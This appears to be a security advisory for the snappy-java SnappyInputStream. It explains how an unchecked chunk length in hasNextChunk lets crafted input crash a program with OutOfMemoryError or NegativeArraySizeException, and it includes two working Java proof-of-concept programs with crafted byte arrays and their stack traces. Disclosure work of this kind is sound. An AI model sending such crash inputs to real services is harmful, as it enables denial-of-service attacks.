Summary

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Impact

Denial of Service

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

        int readBytes = readNext(header, 0, 4);
        if (readBytes < 4) {
            return false;
        }

        int chunkSize = SnappyOutputStream.readInt(header, 0);
        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
            .........
        }

        // extend the compressed data buffer size
        if (compressed == null || chunkSize > compressed.length) {
            compressed = new byte[chunkSize];
        }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {

        }
    }
}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        in.read(out);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

Credit

The vulnerability was discovered by Ori Hollander of the JFrog Security Research Team